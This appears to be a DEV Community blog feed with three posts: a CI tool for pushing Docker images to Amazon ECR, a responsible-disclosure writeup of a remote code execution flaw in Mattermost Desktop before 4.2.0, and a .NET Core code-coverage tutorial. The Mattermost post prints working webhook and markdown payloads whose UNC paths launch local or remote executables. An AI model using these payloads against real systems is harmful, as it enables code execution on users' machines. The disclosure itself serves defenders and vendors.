DEV Community: Nathan Lowe

Introducing Trebuchet

Nathan Lowe — Mon, 15 Jul 2019 14:53:24 +0000

One of the many hats my team wears is helping our developers build and publish their software. Something we strive to do is make it as easy as possible for new developers and teams to get up and running with our chosen platform. For most teams, one of the final steps in the CI/CD pipeline is publishing a docker container to some registry. For us, this happens to be Amazon ECR.

To simplify this for most teams, we've written a new tool we've called trebuchet:

HylandSoftware / trebuchet

Launch container images into Amazon ECR

Trebuchet - Launch container images into Amazon ECR

The purpose of Trebuchet is to improve the quality of life for pushing Docker images to Amazon Elastic Container Registry (ECR).

Usage

Trebuchet is shipped as a single binary (Linux/Windows) and as a Docker image. All images can be found here.

Commands

push:

Pushes a Docker image into ECR
Region:
        Region is required to be set as a flag, as an AWS environment variable (AWS_DEFAULT_REGION), or in the AWS config.

Profile:
        Profile may be set as a flag or an AWS environment variable. 

Amazon Resource Name (ARN):
        Passing in a valid ARN allows trebuchet to assume a role to perform actions within AWS. A typical use-case for this
        would be a service account to use in a software pipeline to push images to ECR.

Aliases:
        trebuchet push can also be used as 'treb launch' or 'treb fling' for a more

…

View on GitHub

To understand why we've written a tool for this, let's take a look at what all is involved with publishing images with the existing tooling from a CI System.

The Old Way

Before we can do anything, we have to install the AWS CLI and its dependencies. We utilize Jenkins and the Kubernetes plugin, so there are a few options here. We can either bake the CLI into one of the containers that our build pod uses, or we can install it at build time to keep the build container simple.

Installing the CLI

A common Jenkins pipeline step in most of our pipelines would look like this:

stage('install-tools') {
    steps {
        container('docker') {
            withCredentials([file(credentialsId: 'aws-credentials', variable: 'AWS_CREDENTIALS')]) {
                sh """
                    mkdir -p \${HOME}/.aws
                    cp "${AWS_CREDENTIALS}" \${HOME}/.aws/credentials
                    cp ./ci/aws-config \${HOME}/.aws/config
                    apk update && apk add py-pip
                    pip install awscli --upgrade --user
                    PATH="\${PATH}:\${HOME}/.local/bin"
                    which aws
                    aws --version
                """
            }
        }
    }
}

First, we copy over our CI credentials from a Jenkins secret. Then, we install pip, the python package manager, so we can install the AWS CLI package. We also update the PATH environment variable in case the pip shim path isn't there already.

Publishing Images

Now that we have the tooling installed, we are ready to push our docker image(s):

stage('publish') {
    steps {
        container('docker') {
            sh '''
                PATH="\${PATH}:\${HOME}/.local/bin"
                eval $(aws ecr get-login --no-include-email)
                REPO_NAME="$(aws ecr describe-repositories --repository-names ecr-demo --output text --query 'repositories[*].repositoryUri' || aws ecr create-repository --repository-name ecr-demo --output text --query 'repository.repositoryUri)"
                docker tag ecr-demo:${APP_VERSION} ${REPO_NAME}:${APP_VERSION}
                docker tag ecr-demo:${APP_VERSION} ${REPO_NAME}:latest
                docker push ${REPO_NAME}:${APP_VERSION}
                docker push ${REPO_NAME}:latest
                echo ${REPO_NAME} > repo_name.txt
            '''
        }
    }
}

Because Jenkins resets the PATH variable for each step invocation, we have to re-add the pip shim path so we can find the AWS CLI. Then, we use the CLI to obtain docker login credentials for our user.

ECR Requires that we create a repository before pushing new images. We can create one if it doesn't exist by asking AWS for the URI to push to, and if we get an error back, try to create one instead.

Finally, we can re-tag our images images with the full ECR Repo URI and docker push them.

Using Trebuchet

Instead of using a docker daemon in our Jenkins build pod, we use hylandsoftware/trebuchet. For example:

spec:
  containers:
  - name: jnlp
    image: jenkins/jnlp-slave
  - name: trebuchet
    image: hylandsoftware/trebuchet
    tty: true
    securityContext:
      privileged: true

This image runs a dind docker daemon as its entrypoint, so we can still docker build our images as we normally would. However, pushing to ECR is now a single command:

stage('Push Docker Image to ECR') {
    steps {
        withCredentials([[$class: 'AmazonWebServicesCredentialsBinding', credentialsId: 'aws_credentials_id']) {
            container('trebuchet') {
                sh 'treb push ecr-demo:${APP_VERSION}'
            }
        }
    }
}

Trebuchet will take care of creating the ECR repository for us if it needs to. It will also re-tag the images as needed and then remove the temporary ECR tags from the local docker daemon.

In Conclusion

Thanks to my co-worker Jason for leading the charge on this.

Trebuchet is released under the MIT License; we hope you'll find it useful. Be sure to open a GitHub issue or submit a Pull Request for any bugs or new features you'd like to see implemented!

RCE in Mattermost Desktop earlier than 4.2.0

Nathan Lowe — Mon, 07 Jan 2019 22:29:57 +0000

First things first, if you use Mattermost Desktop and aren't already on 4.2.0, you should update immediately.

What a way to end a Monday.

Discovery

Jeff Ziegener and Scott Payne first discovered this while trying to set the profile image for an integration to a UNC path. They discovered that when the integration would post a message, it would open the image at the specified UNC path... in Windows Photo Viewer! After some further digging, we discovered this wasn't limited to just photos. We could open any executable the user had access to on a remote share. We could also make users visit arbitrary web pages in their default browser by setting the integration profile picture to a UNC path to a shortcut. For example, sending the following payload to an incoming webhook produces this result:

{
  "text": "Windows Photo Viewer",
  "username": "Windows Photo Viewer",
  "icon_url": "\\\\some-server\\some-share\\tux.png"
}

Investigation

Further digging indicated that even though UNC Paths to localhost / 127.0.0.1 were blocked, we could open local executables if we knew the machine name of the target user and they had administrative shares enabled. For example, if my machine name is win-01234, I could open a local instance of calc.exe by linking to \\win-01234\c$\windows\system32\calc.exe:

{
  "text": "Calculator!",
  "username": "calc.exe",
  "icon_url": "\\\\win-01234\\c$\\windows\\system32\\calc.exe"
}

Even better, every time you re-render the channel, it'll open all image links that were rendered:

After reporting the bug to mattermost, we discovered that we could reproduce the bug by simply sending a message with a link or an image with a UNC path. Mattermost Desktop will open the link with the default application when clicked, or automaticially when the channel is rendered for image links. This means I can post the following message:

![](\\some-server-you-can-access\some-share\virus.exe)

And mattermost will happily execute the program at that path!

Want to rick-roll everyone in a channel? Make a shortcut people can access:

Details

Versions of the Desktop application prior to 4.2.0 contain a vulnerability in the way certain image links are handled. Given a profile picture or image link with a non-http protocol, if the host segment of the URL doesn't match the regular expression ^localhost$|^127\.0\.0\.1$|^\[::1\]$, the URL is then passed to electron's shell.openExternal(...):

Open the given external protocol URL in the desktop's default manner. (For example, mailto: URLs in the user's default mail agent).

This functionality was removed in c86182.

Disclosure Timeline

2018-10-22: Issue initially discovered by Jeff Ziegener and Scott Payne at Hyland Software
2018-10-23: Issue disclosed to Mattermost per the Responsible Discolsure Policy
2018-10-24: Issue confirmed by Mattermost
2018-10-28: Fix merged to master
2018-11-27: Mattermost Desktop 4.2.0 released with the fix
2019-01-02: Vulnerability details released by Mattermost
2019-01-07: Writeup published

Easy, Automated Code Coverage for .NET Core

Nathan Lowe — Sun, 22 Jul 2018 18:27:18 +0000

For my projects, I like to use TravisCI for running my builds and tests. If I'm working with a language that supports it, I also like to publish code coverage results from the test run to coveralls.io. A little while back I found a cross-platform tool to calculate coverage results for .NET Core projects:

lucaslorentz / minicover

Cross platform code coverage tool for .NET Core

MiniCover

Code Coverage Tool for .NET Core

Supported .NET Core SDKs

2.1 (Global tool)
2.2 (Global tool)
3.0 (Global tool or local tool)
3.1 (Global tool or local tool)

Installation

MiniCover can be installed as a global tool:

dotnet tool install --global minicover

Or local tool:

dotnet tool install minicover

Commands

This is a simplified documentation of MiniCover commands and options.

Use --help for more information:

minicover --help

When installed as local tool, MiniCover commands must be prefixed with dotnet. Example:

dotnet minicover --help

Instrument

minicover instrument

Use this command to instrument assemblies to record code coverage.

It is based on the following main options:

option	description	type	default
sources	source files to track coverage	glob	`src/*/.cs`
exclude-sources	exceptions to source option	glob	`/bin//.cs` and `/obj//.cs`
tests	test files used to recognize test methods	glob	`tests/*/.cs` and `test/*/.cs`
exclude-tests	exceptions to tests option	glob	`/bin//.cs` and `/obj//.cs`
assemblies	assemblies

…

View on GitHub

All of the example code for this post is available on my GitHub profile:

nlowe / coveralls-netcore

coveralls.io example for a dotnet core app

Coveralls Netcore Sample

Getting code coverage into coveralls.io from a travis build of a dotnet core project.

Coverage generated using MiniCover via Cake.MiniCover

View on GitHub

Using MiniCover

MiniCover is distributed as a dotnet cli tool. We either need to add it as a DotNetCliToolReference to one of the top-level projects in the repo or as a dedicated tools project. I like to place the reference in ./minicover/minicover.csproj for reasons that will become clear soon:

<!-- ./minicover/minicover.csproj -->
<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <TargetFramework>netcoreapp2.0</TargetFramework>
    <IsPackable>false</IsPackable>
  </PropertyGroup>

  <ItemGroup>
    <DotNetCliToolReference Include="MiniCover" Version="2.0.0-ci-20180517205544" />
  </ItemGroup>

</Project>

Be sure to run dotnet restore on this project.

This is required until MiniCover is updated to support installation as a global tool (added in .NET Core 2.1):

Publish as .NET Core Global Tool #90

snebjorn posted on Apr 23, 2018

With the upcoming release of dotnet core 2.1 they're introducing global tools. It works like NPM global tools (npm install -g package)

That would a nice alternative way to install MiniCover. So instead of having a tools project you can simply do dotnet install tool -g minicover

View on GitHub

Since it's still being actively developed, MiniCover is distributed as prerelease packages. Check the nuget feed to get the latest version.

Generating Coverage

We're ready to run our tests with coverage:

Build the project

Newer versions of .NET Core include an implicit restore here. If you're using an old version of .NET Core be sure to do a dotnet restore first.

dotnet build

Instrument the assemblies under test.

This inserts IL instructions into your assemblies to write coverage to a results file:

cd minicover
dotnet minicover instrument --workdir ../ --assemblies test/**/bin/**/*.dll --sources src/**/*.cs
dotnet minocover reset
cd ..

Run your tests:

You have to tell dotnet not to rebuild assemblies when running tests. Otherwise the instrumentation we just added will be overwritten and no coverage will be tracked.

for project in test/**/*.csproj; do dotnet test --no-build $project; done

Generate Reports:

MiniCover includes support for rendering many types of reports. The most basic type is a Console report with a fatal threshold. If coverage is below this threshold, it will exit with a non-zero exit code allowing you to fail the build if coverage is too low.

cd minicover
dotnet minicover report --workdir ../ --threshold 90
cd ..

Here's a sample of what this looks like (In a TTY that supports colors, files above the threshold will be green and files below the threshold will be red):

+-------------------+-------+---------------+------------+
| File              | Lines | Covered Lines | Percentage |
+-------------------+-------+---------------+------------+
| src/MyLib/Math.cs |    2  |        1      |   50.000%  |
+-------------------+-------+---------------+------------+
| All files         |    2  |        1      |   50.000%  |
+-------------------+-------+---------------+------------+

Uninstrument Assemblies

If you are planning on publishing artifacts for this build, be sure to uninstrument assemblies:

cd minicover
dotnet minicover uninstrument --workdir ../
cd ..

Simplify things with Cake

While this is a great way to get code coverage results, it is a little tedious. For my .NET Projects, I prefer to use cake to script the build process:

cake-build / cake

Cake (C# Make) is a cross platform build automation system.

Cake

Cake (C# Make) is a build automation system with a C# DSL to do things like compiling code, copy files/folders, running unit tests, compress files and build NuGet packages.

Continuous integration

Build server	Platform	Build status	Integration tests
Azure Pipelines	MacOS
Azure Pipelines	Windows
Azure Pipelines	Debian
Azure Pipelines	Fedora
Azure Pipelines	Centos
Azure Pipelines	Ubuntu
AppVeyor	Windows
Travis	Ubuntu / MacOS
TeamCity	Windows
Bitrise	MacOS
Bitrise	Debian
Bitbucket Pipelines	Debian
GitLab	Debian
GitHub Actions	Windows / Ubuntu/ macOS

Code Coverage

Documentation

You can read the latest documentation at https://cakebuild.net/.

Example

This example downloads the Cake bootstrapper and executes a simple build script The bootstrapper is used to bootstrap Cake in a simple way and is not in required in any way to execute build scripts. If you…

View on GitHub

To get started with cake, you will need two files, a build.cake build script and a platform-specific bootstrapper script. Since we can build and generate coverage for .NET Core projects on Windows, macOS, and Linux, we can include a PowerShell script for Windows and a Bash Script for the other platforms. If you want to get started with building a .NET Core Project with cake, feel free to use my bootstrapper scripts:

nlowe / cake-bootstrap-dotnet

Bootstrapper scripts for using cake with dotnet core

Cake Bootstrapper for dotnet core projects

Bootstrap cake for dotnet core projects without needing to install mono. Options (environment variables):

TOOLS_DIR: The path to install cake tools to. ./tools by default
CAKE_VERSION: The version of cake to install. 0.26.1 by default. To upgrade cake, delete your TOOLS_DIR and change this variable.
CAKE_NETCOREAPP_VERSION: The netcoreapp version to use for the tools dummy project. 2.0 by default. Must be compatible with Cake.CoreCLR

All other options are present as with the standard bootstrap scripts.

View on GitHub

Cake is extremely extensible via the addin system. This restores extensions to Cake as a nuget package before running the build script. I've made a Cake addin for minicover that greatly simplifies the coverage generation process:

nlowe / Cake.MiniCover

A Cake Addin for Minicover, making it as easy as possible to get cross-platform code coverage on dotnet core

Cake.MiniCover

A Cake addin for MiniCover

Usage

Until lucaslorentz/minicover#31 is resolved, you need to call the SetMiniCoverToolsProject alias to locate the tools project:

#addin "Cake.MiniCover"
SetMiniCoverToolsProject("./minicover/minicover.csproj")
// ...
Task("Coverage")
    .IsDependentOn("build")
    .Does(() => 
{
    MiniCover(tool =>
        {
            foreach(var project in GetFiles("./test/**/*.csproj"))
            {
                tool.DotNetCoreTest(project.FullPath, new DotNetCoreTestSettings()
                {
                    // Required to keep instrumentation added by MiniCover
                    NoBuild = true,
                    Configuration = configuration
                });
            }
        },
        new MiniCoverSettings()
            .WithAssembliesMatching("./test/**/*.dll")
            .WithSourcesMatching("./src/**/*.cs")
            .GenerateReport(ReportType.CONSOLE | ReportType.XML)
    );
});

// ...

If you need more fine-graned control or have multiple test targets, you can call the aliases individually:

#addin "Cake.MiniCover"
SetMiniCoverToolsProject

…

View on GitHub

The Build Script

Cake organizes the build script as a series of Tasks with dependencies. Addins expose aliases for us to call.

Referencing the Addin

The first order of business is referencing our addin:

#addin "nuget:?package=Cake.MiniCover&version=0.29.0-next20180721071547&prerelease"

Note: I recently fixed support for publishing coverage to https://coveralls.io. For now, you will need to reference the 0.29.0-next20180721071547 pre-release of Cake.MiniCover until 0.29.0 is released.

Additionally, this version of Cake.MiniCover requires Cake 0.29+. You will need to use the bootstrap scripts from the example repo I linked at the beginning of this post or update them to reference Cake 0.29+

Locating the Tools Project

Next, we need to tell Cake where our MiniCover tools project is located:

SetMiniCoverToolsProject("./minicover/minicover.csproj");

Writing the Test Target

We can wrap our DotNetCoreTest call in a MiniCover call. This will automatically instrument and uninstrument assemblies and run any reports we request:

Task("Test")
    .IsDependentOn("Build")
    .Does(() => 
{
    MiniCover(tool => 
        {
            foreach(var project in GetFiles("./test/**/*.csproj"))
            {
                DotNetCoreTest(project.FullPath, new DotNetCoreTestSettings
                {
                    Configuration = configuration,
                    NoRestore = true,
                    NoBuild = true
                });
            }
        },
        new MiniCoverSettings()
            .WithAssembliesMatching("./test/**/*.dll")
            .WithSourcesMatching("./src/**/*.cs")
            .WithNonFatalThreshold()
            .GenerateReport(ReportType.CONSOLE)
    );
});

For brevity I've only included the Test task here. Please see the full build script for the Build task definition and other variables required to execute this task.

Note the WithNonFatalThreshold() setting. This will disable exiting with an error if coverage is below the specified threshold, which is useful if you want your build system to track builds but have a different system for tracking coverage.

Generating Coverage Results

Now, we can simply invoke our build script to run our unit tests and print a coverage report to the console:

# On macOS / Linux:
./build.sh -t test

# Windows:
./build.ps1 -t Build

Cake will figure out the task dependencies and execute them in the proper order, showing output and keeping track of how long each task takes to run:

$ ./build.sh -t test
Installing Cake 0.29.0
  Writing /tmp/tmpcaiVOk.tmp
info : Adding PackageReference for package 'Cake.CoreCLR' into project '/home/nathan/projects/coveralls-netcore/tools/cake.csproj'.
log  : Restoring packages for /home/nathan/projects/coveralls-netcore/tools/cake.csproj...
info :   GET https://api.nuget.org/v3-flatcontainer/cake.coreclr/index.json
info :   OK https://api.nuget.org/v3-flatcontainer/cake.coreclr/index.json 135ms
info :   GET https://api.nuget.org/v3-flatcontainer/cake.coreclr/0.29.0/cake.coreclr.0.29.0.nupkg
info :   OK https://api.nuget.org/v3-flatcontainer/cake.coreclr/0.29.0/cake.coreclr.0.29.0.nupkg 49ms
log  : Installing Cake.CoreCLR 0.29.0.
info : Package 'Cake.CoreCLR' is compatible with all the specified frameworks in project '/home/nathan/projects/coveralls-netcore/tools/cake.csproj'.
info : PackageReference for package 'Cake.CoreCLR' version '0.29.0' added to file '/home/nathan/projects/coveralls-netcore/tools/cake.csproj'.
Analyzing build script...
Processing build script...
Installing addins...
Compiling build script...
  Restoring packages for /home/nathan/projects/coveralls-netcore/minicover/minicover.csproj...
  Restore completed in 73.51 ms for /home/nathan/projects/coveralls-netcore/minicover/minicover.csproj.
  Generating MSBuild file /home/nathan/projects/coveralls-netcore/minicover/obj/minicover.csproj.nuget.g.props.
  Generating MSBuild file /home/nathan/projects/coveralls-netcore/minicover/obj/minicover.csproj.nuget.g.targets.
  Restore completed in 180.67 ms for /home/nathan/projects/coveralls-netcore/minicover/minicover.csproj.

========================================
Restore
========================================
Executing task: Restore
  Restoring packages for /home/nathan/projects/coveralls-netcore/test/MyLib.Tests/MyLib.Tests.csproj...
  Restoring packages for /home/nathan/projects/coveralls-netcore/src/MyLib/MyLib.csproj...
  Restore completed in 63.88 ms for /home/nathan/projects/coveralls-netcore/test/MyLib.Tests/MyLib.Tests.csproj.
/home/nathan/projects/coveralls-netcore/src/MyLib/MyLib.csproj : warning NU1603: MyLib depends on NETStandard.Library (>= 2.0.2-servicing-26420-0) but NETStandard.Library 2.0.2-servicing-26420-0 was not found. An approximate best match of NETStandard.Library 2.0.2 was resolved. [/home/nathan/projects/coveralls-netcore/coveralls-netcore.sln]
  Generating MSBuild file /home/nathan/projects/coveralls-netcore/test/MyLib.Tests/obj/MyLib.Tests.csproj.nuget.g.props.
  Generating MSBuild file /home/nathan/projects/coveralls-netcore/src/MyLib/obj/MyLib.csproj.nuget.g.props.
  Generating MSBuild file /home/nathan/projects/coveralls-netcore/test/MyLib.Tests/obj/MyLib.Tests.csproj.nuget.g.targets.
  Generating MSBuild file /home/nathan/projects/coveralls-netcore/src/MyLib/obj/MyLib.csproj.nuget.g.targets.
  Restore completed in 655.78 ms for /home/nathan/projects/coveralls-netcore/src/MyLib/MyLib.csproj.
  Restore completed in 655.63 ms for /home/nathan/projects/coveralls-netcore/test/MyLib.Tests/MyLib.Tests.csproj.
Finished executing task: Restore

========================================
Build
========================================
Executing task: Build
Microsoft (R) Build Engine version 15.7.179.62826 for .NET Core
Copyright (C) Microsoft Corporation. All rights reserved.

/home/nathan/projects/coveralls-netcore/src/MyLib/MyLib.csproj : warning NU1603: MyLib depends on NETStandard.Library (>= 2.0.2-servicing-26420-0) but NETStandard.Library 2.0.2-servicing-26420-0 was not found. An approximate best match of NETStandard.Library 2.0.2 was resolved.
  MyLib -> /home/nathan/projects/coveralls-netcore/src/MyLib/bin/Release/netstandard2.0/MyLib.dll
  MyLib.Tests -> /home/nathan/projects/coveralls-netcore/test/MyLib.Tests/bin/Release/netcoreapp2.1/MyLib.Tests.dll

Build succeeded.

/home/nathan/projects/coveralls-netcore/src/MyLib/MyLib.csproj : warning NU1603: MyLib depends on NETStandard.Library (>= 2.0.2-servicing-26420-0) but NETStandard.Library 2.0.2-servicing-26420-0 was not found. An approximate best match of NETStandard.Library 2.0.2 was resolved.
    1 Warning(s)
    0 Error(s)

Time Elapsed 00:00:02.64
Finished executing task: Build

========================================
Test
========================================
Executing task: Test
Assembly resolver search directories:
/home/nathan/projects/coveralls-netcore/test/MyLib.Tests/obj/Release/netcoreapp2.1

Assembly resolver search directories:
/home/nathan/projects/coveralls-netcore/test/MyLib.Tests/bin/Release/netcoreapp2.1
/home/nathan/.nuget/packages
/opt/dotnet/sdk/NuGetFallbackFolder

Instrumenting assembly "MyLib"
Changing working directory to '/home/nathan/projects/coveralls-netcore'
Reset coverage for directory: '/home/nathan/projects/coveralls-netcore' on pattern './coverage-hits.txt'
Directory is already cleared
Test run for /home/nathan/projects/coveralls-netcore/test/MyLib.Tests/bin/Release/netcoreapp2.1/MyLib.Tests.dll(.NETCoreApp,Version=v2.1)
Microsoft (R) Test Execution Command Line Tool Version 15.3.0-preview-20170628-02
Copyright (c) Microsoft Corporation.  All rights reserved.

Starting test execution, please wait...
[xUnit.net 00:00:00.4964089]   Discovering: MyLib.Tests
[xUnit.net 00:00:00.5609486]   Discovered:  MyLib.Tests
[xUnit.net 00:00:00.5680125]   Starting:    MyLib.Tests
[xUnit.net 00:00:00.7413388]   Finished:    MyLib.Tests

Total tests: 1. Passed: 1. Failed: 0. Skipped: 0.
Test Run Successful.
Test execution time: 1.6506 Seconds
Changing working directory to '/home/nathan/projects/coveralls-netcore'
+-------------------+-------+---------------+------------+
| File              | Lines | Covered Lines | Percentage |
+-------------------+-------+---------------+------------+
| src/MyLib/Math.cs |    2  |        1      |   50.000%  |
+-------------------+-------+---------------+------------+
| All files         |    2  |        1      |   50.000%  |
+-------------------+-------+---------------+------------+
Finished executing task: Test

Task                          Duration            
--------------------------------------------------
Restore                       00:00:01.9525117    
Build                         00:00:02.9521372    
Test                          00:00:06.5041439    
--------------------------------------------------
Total:                        00:00:11.4087928

Automating Tests & Publishing Coverage

Now that we have a build script to run our tests and generate coverage results, we can connect our repo to TravisCI and Coveralls. Follow the getting started guides to connect both services to your GitHub account and add your repo. Then, create a .travis.yml file at the root of your repo with the following contents:

language: csharp
mono: none
dotnet: 2.1

script:
- ./build/travis.sh

I like to wrap my Travis builds in a separate script. This way, if I publish a Docker Container, I can log in to Docker Hub and push the image only on the master branch, which I can detect with environment variables that Travis exposes:

# ./build/travis.sh


#!/bin/bash
set -euo pipefail

SCRIPT_ROOT="$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )"
CAKE_TASK=Coveralls

echo "Building task ${CAKE_TASK}"
"${SCRIPT_ROOT}/../build.sh" -t "${CAKE_TASK}"

We're also going to add a new Cake task to upload coverage results to Coveralls:

Task("Coveralls")
    .IsDependentOn("Test")
    .Does(() => 
{
    if (!TravisCI.IsRunningOnTravisCI)
    {
        Warning("Not running on travis, cannot publish coverage");
        return;
    }

    MiniCoverReport(new MiniCoverSettings()
        .WithCoverallsSettings(c => c.UseTravisDefaults())
        .GenerateReport(ReportType.COVERALLS)
    );
});

Coveralls has this lovely integration with Travis, where we only need to provide the build ID and it'll figure out the rest of the commit information automatically. If you aren't building in TravisCI, you will need to specify additional information. See the CoverallsSettings extension methods for details on how to provide this information via Cake.MiniCover.

Now, we have TravisCI automatically building & testing our code, and Coveralls tracking code coverage!

Conclusion

I hope you found this helpful. I'd love to be able to provide MiniCover support without requiring a tools project, but that requires MiniCover to be split into a core library and a cli tool:

Extract common Library to enable consumption from other tools #31

nlowe posted on Feb 26, 2018

I want to write a Cake addin for MiniCover like the one that exists for OpenCover. I cannot easily instruct users to add MiniCover as a tool as the way cake downloads tools from Nuget is not compatible with the DotnetCliTool package type. I could tell users to create a tools project as instructed in the README and pass that to my addin, but I think an easier solution is if we separate the actual instrumentation and reporting logic from the dotnet cli tool frontend. This would allow me to reference it as a dependency in my package and enable users to get simple coverage with something like:

#addin "Cake.MiniCover"

// ...

Task("Coverage")
    .IsDependentOn("build")
    .Does(() => 
{
    MiniCover(tool =>
        {
            foreach(var project in GetFiles("./test/**/*.csproj"))
            {
                tool.DotNetCoreTest(project.FullPath, new DotNetCoreTestSettings()
                {
                    // Required to keep instrumentation added by MiniCover
                    NoBuild = true,
                    Configuration = configuration
                });
            }
        },
        new MiniCoverSettings()
            .WithAssembliesMatching("./test/**/*.dll")
            .WithSourcesMatching("./src/**/*.cs")
            .GenerateReport(ReportType.CONSOLE | ReportType.XML)
    );
});

// ...

Then, generating coverage becomes as simple as

./build.sh -t Coverage

# Or on Windows:

./build.ps1 -t Coverage

View on GitHub

If you notice any problems with Cake.MiniCover, definitely open an issue! If you have a feature you'd like to see added, pull requests are welcome as well.

DEV Community: Nathan Lowe

Introducing Trebuchet

HylandSoftware / trebuchet

Launch container images into Amazon ECR

Trebuchet - Launch container images into Amazon ECR

Usage

Commands

The Old Way

Installing the CLI

Publishing Images

Using Trebuchet

In Conclusion

RCE in Mattermost Desktop earlier than 4.2.0

Discovery

Investigation

Details

Disclosure Timeline

Easy, Automated Code Coverage for .NET Core

lucaslorentz / minicover

Cross platform code coverage tool for .NET Core

MiniCover

Supported .NET Core SDKs

Installation

Commands

Instrument

nlowe / coveralls-netcore

coveralls.io example for a dotnet core app

Coveralls Netcore Sample

Using MiniCover

Publish as .NET Core Global Tool #90

Generating Coverage

Build the project

Instrument the assemblies under test.

Run your tests:

Generate Reports:

Uninstrument Assemblies

Simplify things with Cake

cake-build / cake

Cake (C# Make) is a cross platform build automation system.

Cake

Continuous integration

Code Coverage

Table of Contents

Documentation

Example

nlowe / cake-bootstrap-dotnet

Bootstrapper scripts for using cake with dotnet core

Cake Bootstrapper for dotnet core projects

nlowe / Cake.MiniCover

A Cake Addin for Minicover, making it as easy as possible to get cross-platform code coverage on dotnet core

Cake.MiniCover

Usage

The Build Script

Referencing the Addin

Locating the Tools Project

Writing the Test Target

Generating Coverage Results

Automating Tests & Publishing Coverage

Conclusion

Extract common Library to enable consumption from other tools #31